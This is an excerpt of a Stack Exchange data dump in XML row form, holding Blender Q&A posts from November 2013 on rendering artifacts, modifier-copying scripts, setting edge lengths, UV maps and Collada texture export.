  <row Id="4882" PostTypeId="1" CreationDate="2013-11-14T21:47:23.363" Score="2" ViewCount="363" Body="&lt;p&gt;When rendering overlapping meshes (I know this is bad practice, but in this case it is done purely out of curiosity) You get strange artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, these differ from the viewport render and the &lt;kbd&gt;F12&lt;/kbd&gt; render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the viewport render in camera view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p5Jlk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rej1F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are these different?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-15T00:24:34.120" Title="Moiré patterns in viewport but not in render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4883" PostTypeId="2" ParentId="4878" CreationDate="2013-11-14T21:56:16.900" Score="16" Body="&lt;p&gt;I don't think that's possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A modifier can only be inserted through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.ObjectModifiers.html#bpy.types.ObjectModifiers.new&quot;&gt;&lt;code&gt;modifiers.new&lt;/code&gt;&lt;/a&gt;, so its properties do need to be copied individually. The problem here is in checking &lt;em&gt;which properties&lt;/em&gt; can be copied. (e.g., &lt;em&gt;Subsurf&lt;/em&gt; modifier's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.SubsurfModifier.html#bpy.types.SubsurfModifier.subdivision_type&quot;&gt;&lt;code&gt;subdivision_type&lt;/code&gt;&lt;/a&gt; property is actually &lt;em&gt;not&lt;/em&gt; readonly as you claimed, but we'd need to test it manually or check the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.SubsurfModifier.html#bpy.types.SubsurfModifier.subdivision_type&quot;&gt;API reference&lt;/a&gt; to find out.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole &quot;check writability then copy&quot; procedure can be done more efficiently, though. For example, see this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def main():&#xA;    active_object = bpy.context.object&#xA;    selected_objects = [o for o in bpy.context.selected_objects&#xA;                        if o != active_object and o.type == active_object.type]&#xA;&#xA;    for obj in selected_objects:&#xA;        for mSrc in active_object.modifiers:&#xA;            mDst = obj.modifiers.get(mSrc.name, None)&#xA;            if not mDst:&#xA;                mDst = obj.modifiers.new(mSrc.name, mSrc.type)&#xA;&#xA;            # collect names of writable properties&#xA;            properties = [p.identifier for p in mSrc.bl_rna.properties&#xA;                          if not p.is_readonly]&#xA;&#xA;            # copy those properties&#xA;            for prop in properties:&#xA;                setattr(mDst, prop, getattr(mSrc, prop))&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It copies all modifiers from active object, to every other selected objects of similar type. What modifier properties to copy is determined by checking &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Property.html#bpy.types.Property.is_readonly&quot;&gt;&lt;code&gt;is_readonly&lt;/code&gt;&lt;/a&gt; attribute of all items in the modifier's &lt;code&gt;bl_rna.properties&lt;/code&gt;. This way, we can ensure that only writable properties get copied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the API Reference, some readonly attributes like &lt;em&gt;Dynamic Paint&lt;/em&gt;'s &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.DynamicPaintModifier.html#bpy.types.DynamicPaintModifier.brush_settings&quot;&gt;&lt;code&gt;brush_settings&lt;/code&gt;&lt;/a&gt; have no other method of access, so they can be set only through the UI.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-14T21:56:16.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4884" PostTypeId="2" ParentId="4882" CreationDate="2013-11-14T23:32:48.697" Score="3" Body="&lt;p&gt;Rendering has higher sampling per pixel, hence the precision, diminishing visible moire.&lt;/p&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-11-14T23:32:48.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4885" PostTypeId="2" ParentId="4879" CreationDate="2013-11-15T00:32:11.253" Score="1" Body="&lt;p&gt;This is a bit unlikely because your mention of &quot;vertex group&quot;, but a problem most similar to &quot;render border&quot; is when active camera's &lt;em&gt;Clipping&lt;/em&gt; distance is too limiting for the scene's size. For example, the following scene is using default camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRKtw.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lower-right object is of regular size, and intersects the camera's &lt;em&gt;Start&lt;/em&gt;/near clipping distance. While upper-left object is 10 times larger and bumps into the camera's &lt;em&gt;End&lt;/em&gt;/far clipping distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, relevant settings you need to adjust are in &lt;strong&gt;Properties&lt;/strong&gt; window &gt; &lt;strong&gt;Object Data&lt;/strong&gt; tab &gt; &lt;strong&gt;Lens&lt;/strong&gt; group for the camera object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SwUO.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-15T00:32:11.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostTypeId="1" CreationDate="2013-11-15T02:48:30.703" Score="5" ViewCount="207" Body="&lt;p&gt;I have been looking for the equations used for all the blend modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Color#Mix_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki&lt;/a&gt;&#xA;there are descriptions, but no equations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://en.wikipedia.org/wiki/Blend_modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt; there are equations, but there are more than one possible equation for few blend modes (ie soft light).&#xA;I don't know which equation blender uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read &lt;a href=&quot;https://blender.stackexchange.com/tags/blend-modes/info&quot;&gt;this&lt;/a&gt;, however the Influence/factor not available on the equations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be much appreciated if the list of equations used in blend modes with factor/influence is made available. Please point me to the right direction if it already exists. Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="210" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-11-15T02:55:22.980" Title="Blend mode equations including factor/influence" Tags="&lt;blend-modes&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-01-10T12:01:12.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="4887" PostTypeId="1" AcceptedAnswerId="4888" CreationDate="2013-11-15T09:42:07.803" Score="4" ViewCount="287" Body="&lt;p&gt;Is there an easy way to create an &lt;a href=&quot;http://en.wikipedia.org/wiki/Color_cycling&quot; rel=&quot;nofollow noreferrer&quot;&gt;color cycle effect&lt;/a&gt; like in the image? &#xA;I know that this was usually done manipulating index based colors from a palette. Perhaps a texture can be animated, if so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/njyNl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image source &lt;a href=&quot;http://commons.wikimedia.org/wiki/File:Color_cycling.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://commons.wikimedia.org/wiki/File:Color_cycling.gif&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-11-15T09:45:51.650" LastActivityDate="2013-11-15T12:11:08.233" Title="What would be the easiest way to do or simulate color cycling for a face?" Tags="&lt;animation&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4888" PostTypeId="2" ParentId="4887" CreationDate="2013-11-15T11:44:15.743" Score="4" Body="&lt;p&gt;One way would be to animate the texture mapping.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an image with the colour gradient you want to use.&lt;/li&gt;&#xA;&lt;li&gt;UV unwrap your object&lt;/li&gt;&#xA;&lt;li&gt;Apply the image in the texture panel&lt;/li&gt;&#xA;&lt;li&gt;Add keyframes for the mapping offset (RMB / insert keyframe).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbSP7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cycles the same thing applies - the keyframes can be added in the Mapping node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a5rwv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="29" LastEditDate="2013-11-15T12:11:08.233" LastActivityDate="2013-11-15T12:11:08.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostTypeId="1" CreationDate="2013-11-15T14:49:46.610" Score="27" ViewCount="47260" Body="&lt;p&gt;I've got this question from one of my best students. The question is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose, that we have &lt;em&gt;Edit mode&lt;/em&gt; with some edges, vertices, etc. How to set a selected edge to have a specific length? Numerically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We already know, that scaling with enabled &lt;em&gt;'Show edge length'&lt;/em&gt; is helpful, but in general, it seems to be easier to just select an edge, and to set its length. This is extremely useful for architecture modeling.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastEditorUserId="12" LastEditDate="2013-11-15T21:25:33.767" LastActivityDate="2018-09-05T04:22:10.570" Title="How to set a specific edge length numerically?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostTypeId="1" CreationDate="2013-11-15T15:04:52.510" Score="2" ViewCount="177" Body="&lt;p&gt;I don't want meshes to be triangulated. Is there a way to keep Ngons when importing objects from Lightwave into Blender&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="12" LastEditDate="2013-11-15T21:22:20.517" LastActivityDate="2013-11-15T21:22:20.517" Title="How to import NGONS from Lightwave to Blender?" Tags="&lt;objects&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostTypeId="2" ParentId="4891" CreationDate="2013-11-15T16:11:34.823" Score="1" Body="&lt;p&gt;By default, the OBJ file exported from Lightwave supports N-gons.&#xA;When importing it into Blender, it will import Ngons by default. Make sure it is enabled in the Import Window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kazJW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="599" LastEditDate="2013-11-15T20:35:05.213" LastActivityDate="2013-11-15T20:35:05.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostTypeId="2" ParentId="4890" CreationDate="2013-11-15T16:20:54.743" Score="4" Body="&lt;p&gt;One way to set the length of an edge is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the edge in edit mode&lt;/li&gt;&#xA;&lt;li&gt;Scale to size 1 &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Numpad /&lt;/kbd&gt;current edge length&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scale again to the desired length in blender units say 2.5 &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;2.5&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An easier way would be to extrude the edges from a single vertext from the start.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select vertext (Edit mode; vertext select)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;kbd&gt;X,Y or Z&lt;/kbd&gt;desired length&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For architecture modelling there is also an addon called &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?315980-Archimesh-Architecture-elements-(rooms-doors-columns-stairs-tile-roofs)&quot; rel=&quot;nofollow noreferrer&quot;&gt;archimesh&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/254/how-do-blender-units-and-meters-feet-or-yards-correlate/258#258&quot;&gt;How do blender units and meters, feet, or yards correlate?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/274/what-are-some-best-practices-when-modelling-with-exact-measurements&quot;&gt;How to model effectively using exact measurements?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2313/how-can-i-use-imperial-units-when-entering-measurements&quot;&gt;How can I use imperial units when entering measurements?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2013-11-15T16:41:06.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4894" PostTypeId="2" ParentId="4890" CreationDate="2013-11-15T16:25:32.207" Score="9" Body="&lt;p&gt;A quick and dirty way is to type in the number like this &lt;code&gt;&quot;{target_length} / {current_length}&quot;&lt;/code&gt;. For example, if you want to scale the length of an edge from &lt;code&gt;1.176&lt;/code&gt; to &lt;code&gt;4&lt;/code&gt;, you can switch the Transformation mode to &lt;em&gt;Normal&lt;/em&gt;, then press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;, type in &lt;code&gt;4/1.176&lt;/code&gt; for a certain axis, then press &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Sfsw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; It won't be accurate since the Mesh Display is not so accurate. You need a small script or addon to get the easier and more accurate calculation. I suggest to use the integrated Ruler/Protractor tool. It can save an numeral value with 8 decimal places if you copy (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) it. (Tip: The snap feature for the ruler only works well with Wireframe mode, currently.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YiBYN.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also another question that collects some good ways to do so. &lt;a href=&quot;https://blender.stackexchange.com/q/1674/696&quot;&gt;How to get selected edges length?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-12-10T11:43:59.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4895" PostTypeId="2" ParentId="4890" CreationDate="2013-11-15T16:25:51.083" Score="2" Body="&lt;p&gt;Clunky and bait for floating point shenanigans.. but it works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From &lt;kbd&gt;N&lt;/kbd&gt; menu, show Edge Length.&lt;/li&gt;&#xA;&lt;li&gt;In Edit Mode using vertex select, choose the vertex you want to keep where it is, then move 3D cursor to it (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;4&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;In edge select mode, select the edge&lt;/li&gt;&#xA;&lt;li&gt;Hit main keyboard (not numpad) Full Stop/Period (&lt;kbd&gt;.&lt;/kbd&gt;) to set 3D cursor as scale/rotate pivot&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;S&lt;/kbd&gt;, type the current length of the edge and hit &lt;kbd&gt;/&lt;/kbd&gt; then &lt;kbd&gt;Enter&lt;/kbd&gt; - this will scale it to 1 unit exactly (&lt;code&gt;/&lt;/code&gt; toggles whether the scale amount entered is inverse)&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;S&lt;/kbd&gt; again, type the length you want the edge to be in Blender units and hit &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1219" LastEditorUserId="599" LastEditDate="2013-11-15T21:28:33.373" LastActivityDate="2013-11-15T21:28:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostTypeId="1" AcceptedAnswerId="4909" CreationDate="2013-11-15T16:53:31.907" Score="5" ViewCount="1211" Body="&lt;p&gt;I'm relatively new to Cycles, so maybe I don't understand all its finer points yet. I am trying to create a normal map from a grayscale bump map produced by an OSL script. The script seems to output the grayscale data just fine, as seen here (output through an emission shader for visibility purposes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jwr8R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try putting that through the bump node, I get nada in the resulting normal output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxM1t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be sure I'm doing something stupid, I tried the same node setup but with a noise texture node instead of the script's output for the bump node's &quot;height&quot; input, and got the expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to find much info about the bump node, but is there a reason it can't use the grayscale data from an OSL script for the height info? If so, is there any way to work around that?&lt;/p&gt;&#xA;" OwnerUserId="1617" LastEditorUserId="29" LastEditDate="2013-11-15T17:14:27.840" LastActivityDate="2013-11-16T10:47:56.800" Title="Bump node in Cycles, with an OSL script -- am I doing it wrong?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;normals&gt;&lt;osl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4897" PostTypeId="1" AcceptedAnswerId="4903" CreationDate="2013-11-15T17:38:25.273" Score="3" ViewCount="485" Body="&lt;p&gt;Say you have 500 stills comprising a video, and you also have the original blend file that created the stills. Is there a way to do a render that skips the time-consuming Image pass but still provides various other passes (like Mist, Shadow, etc.)? And such that those passes are stored in a way that can be input to the compositor to apply the result to the stills? I have done very skimpy passes (low bounces, etc.) that sort of achieve this, and stored them as multilayer EXRs, but haven't found a way to apply the output to more than one frame at a time. &lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2013-11-19T22:54:39.153" Title="Composite mist pass after-the-fact to finished rendered video using the original blend" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostTypeId="1" CreationDate="2013-11-15T18:18:18.697" Score="3" ViewCount="4352" Body="&lt;p&gt;When I add a smoke particles (clouds) it seems to be thick and an a certain elevation.  I'd like to have thin clouds around the tops of buildings.  Is there a different method?&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2015-11-21T23:00:11.057" Title="How to add thin wispy clouds or fog to my blender 3d scene of building" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostTypeId="1" CreationDate="2013-11-15T18:55:12.090" Score="6" ViewCount="4586" Body="&lt;p&gt;I made a shoe, which needed to fit 7 different characters. So I made a mirror object for another leg, and then copied resulting 2 boots 7 times and changed shape to fit the 7 characters. Then I found I have a problem in my UV map layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to fix it once and then propagate it through all 14 objects, or I have to start again from 1 shoe?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-11-16T17:13:23.770" LastActivityDate="2013-11-16T17:13:23.770" Title="Can I copy UV map to many objects with the same and/or symmetrical topology?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostTypeId="2" ParentId="3778" CreationDate="2013-11-15T19:01:03.770" Score="6" Body="&lt;p&gt;Start with the default cube. Ensure you've created a material or use the default material already created. Assign a texture to it as a diffuse image, say &quot;lava.png&quot;. The important point here is to assign your object texture via a material. There is another way to directly texture mesh faces without a material but you still need a default material to get the Collada export to recognise textures, so I suggest going with this approach. If you export as Collada format now, ensure you select &quot;Include material textures&quot; checkbox in the export options. This will produce something along the lines of following XML element in the export file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;library_images&amp;gt;&#xA;    &amp;lt;image id=&quot;lava_png&quot; name=&quot;lava_png&quot;&amp;gt;&#xA;        &amp;lt;init_from&amp;gt;lava.png&amp;lt;/init_from&amp;gt;&#xA;    &amp;lt;/image&amp;gt;&#xA;&amp;lt;/library_images&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the library effect element will look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;library_effects&amp;gt;&#xA;    &amp;lt;effect id=&quot;Material-effect&quot;&amp;gt;&#xA;        &amp;lt;profile_COMMON&amp;gt;&#xA;            &amp;lt;technique sid=&quot;common&quot;&amp;gt;&#xA;                &amp;lt;phong&amp;gt;&#xA;                    &amp;lt;emission&amp;gt;&#xA;                        &amp;lt;color sid=&quot;emission&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/emission&amp;gt;&#xA;                    &amp;lt;ambient&amp;gt;&#xA;                        &amp;lt;color sid=&quot;ambient&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;                        &amp;lt;/ambient&amp;gt;&#xA;                    &amp;lt;diffuse&amp;gt;&#xA;                        &amp;lt;color sid=&quot;diffuse&quot;&amp;gt;0.64 0.64 0.64 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/diffuse&amp;gt;&#xA;                    &amp;lt;specular&amp;gt;&#xA;                        &amp;lt;color sid=&quot;specular&quot;&amp;gt;0.5 0.5 0.5 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/specular&amp;gt;&#xA;                    &amp;lt;shininess&amp;gt;&#xA;                        &amp;lt;float sid=&quot;shininess&quot;&amp;gt;50&amp;lt;/float&amp;gt;&#xA;                    &amp;lt;/shininess&amp;gt;&#xA;                    &amp;lt;index_of_refraction&amp;gt;&#xA;                        &amp;lt;float sid=&quot;index_of_refraction&quot;&amp;gt;1&amp;lt;/float&amp;gt;&#xA;                    &amp;lt;/index_of_refraction&amp;gt;&#xA;                &amp;lt;/phong&amp;gt;&#xA;            &amp;lt;/technique&amp;gt;&#xA;        &amp;lt;extra&amp;gt;&#xA;            &amp;lt;technique profile=&quot;GOOGLEEARTH&quot;&amp;gt;&#xA;                &amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&#xA;            &amp;lt;/technique&amp;gt;&#xA;        &amp;lt;/extra&amp;gt;&#xA;        &amp;lt;/profile_COMMON&amp;gt;&#xA;        &amp;lt;extra&amp;gt;&#xA;            &amp;lt;technique profile=&quot;MAX3D&quot;&amp;gt;&amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&#xA;            &amp;lt;/technique&amp;gt;&#xA;        &amp;lt;/extra&amp;gt;&#xA;    &amp;lt;/effect&amp;gt;&#xA;&amp;lt;/library_effects&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the diffuse element defines a colour rather than an image reference. This means there's no 'link' in the Collada file between the lava.png and the diffuse component of the material associated with the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The missing step relates to the coordinate mapping technique used. Go to the texture panel for the lava.png and find the &quot;Mapping&quot; section. The coordinates entry is likely set to &quot;generated&quot;. Change this to UV and export again with &quot;Include material textures&quot; and the diffuse entry will now reference &quot;lava_png-sampler&quot;. &#xA;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;library_effects&amp;gt;&#xA;    &amp;lt;effect id=&quot;Material-effect&quot;&amp;gt;&#xA;        &amp;lt;profile_COMMON&amp;gt;&#xA;            &amp;lt;newparam sid=&quot;lava_png-surface&quot;&amp;gt;&#xA;                &amp;lt;surface type=&quot;2D&quot;&amp;gt;&#xA;                    &amp;lt;init_from&amp;gt;lava_png&amp;lt;/init_from&amp;gt;&#xA;                &amp;lt;/surface&amp;gt;&#xA;            &amp;lt;/newparam&amp;gt;&#xA;            &amp;lt;newparam sid=&quot;lava_png-sampler&quot;&amp;gt;&#xA;                &amp;lt;sampler2D&amp;gt;&#xA;                    &amp;lt;source&amp;gt;lava_png-surface&amp;lt;/source&amp;gt;&#xA;                &amp;lt;/sampler2D&amp;gt;&#xA;            &amp;lt;/newparam&amp;gt;&#xA;            &amp;lt;technique sid=&quot;common&quot;&amp;gt;&#xA;                &amp;lt;phong&amp;gt;&#xA;                    &amp;lt;emission&amp;gt;&#xA;                        &amp;lt;color sid=&quot;emission&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/emission&amp;gt;&#xA;                    &amp;lt;ambient&amp;gt;&#xA;                         &amp;lt;color sid=&quot;ambient&quot;&amp;gt;0 0 0 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/ambient&amp;gt;&#xA;                    &amp;lt;diffuse&amp;gt;&#xA;                        &amp;lt;texture texture=&quot;lava_png-sampler&quot;/&amp;gt;&#xA;                    &amp;lt;/diffuse&amp;gt;&#xA;                    &amp;lt;specular&amp;gt;&#xA;                        &amp;lt;color sid=&quot;specular&quot;&amp;gt;0.5 0.5 0.5 1&amp;lt;/color&amp;gt;&#xA;                    &amp;lt;/specular&amp;gt;&#xA;                    &amp;lt;shininess&amp;gt;&#xA;                        &amp;lt;float sid=&quot;shininess&quot;&amp;gt;50&amp;lt;/float&amp;gt;&#xA;                    &amp;lt;/shininess&amp;gt;&#xA;                    &amp;lt;index_of_refraction&amp;gt;&#xA;                        &amp;lt;float sid=&quot;index_of_refraction&quot;&amp;gt;1&amp;lt;/float&amp;gt;&#xA;                    &amp;lt;/index_of_refraction&amp;gt;&#xA;                &amp;lt;/phong&amp;gt;&#xA;            &amp;lt;/technique&amp;gt;&#xA;            &amp;lt;extra&amp;gt;&#xA;                &amp;lt;technique profile=&quot;GOOGLEEARTH&quot;&amp;gt;&#xA;                    &amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&#xA;                &amp;lt;/technique&amp;gt;&#xA;            &amp;lt;/extra&amp;gt;&#xA;        &amp;lt;/profile_COMMON&amp;gt;&#xA;        &amp;lt;extra&amp;gt;&#xA;            &amp;lt;technique profile=&quot;MAX3D&quot;&amp;gt;&amp;lt;double_sided&amp;gt;1&amp;lt;/double_sided&amp;gt;&#xA;            &amp;lt;/technique&amp;gt; &#xA;        &amp;lt;/extra&amp;gt;&#xA;    &amp;lt;/effect&amp;gt;&#xA;&amp;lt;/library_effects&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should then import, with the texture intact, into whatever you're using, e.g. Assimp or a modelling package/viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2013-11-15T19:01:03.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
